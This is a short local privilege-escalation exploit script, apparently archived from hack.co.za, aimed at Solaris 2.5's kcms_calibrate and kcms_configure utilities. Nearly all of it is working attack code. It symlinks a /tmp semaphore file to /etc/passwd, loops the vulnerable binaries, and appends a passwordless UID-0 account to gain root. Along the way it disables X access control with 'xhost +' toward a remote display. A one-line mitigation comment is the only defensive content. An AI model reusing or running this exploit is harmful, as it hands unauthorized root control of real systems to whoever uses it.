#!/bin/sh -x
# kcmsr00t.sh - hack root on a solaris 2.5 box
#
# original by JungSeok. Roh  ( beren@cosmos.kaist.ac.kr )
# 
# play-testing, proper thrashing of /.rhosts and "hey, bring up an
# xterm!" by Erik Fichtner (techs@spooge.effluvium.com) and 
# Pat Hess (phess@spooge.effluvium.com)
#
# To Prevent This Script:
# % chmod 755 /usr/openwin/bin/kcms*
#
 
notbroken=1
DISPLAY="dial-cup2-3.iway.aimnet.com:0.0"
export DISPLAY
/usr/openwin/bin/xhost +
#  make sure we're ready to go
/bin/rm -rf /tmp/Kp_kcms_sys.sem
cd /tmp
/bin/ln -s /etc/passwd Kp_kcms_sys.sem
 
/usr/openwin/bin/kcms_calibrate &
echo "Click a window to hack r00t."

while [ $notbroken -eq 1 ]
do
  echo "Change your monitor type."
  /usr/openwin/bin/kcms_configure -o -d $DISPLAY
  /usr/openwin/share/etc/devdata/profiles/kcmsEKsony20.mon
 
  if [ -f /etc/passwd ]; then
    /bin/echo  "blah:x:0:0::/:/bin/sh" >> /etc/passwd
    notbroken=0
  fi
 
done
#                 www.hack.co.za           [2000]#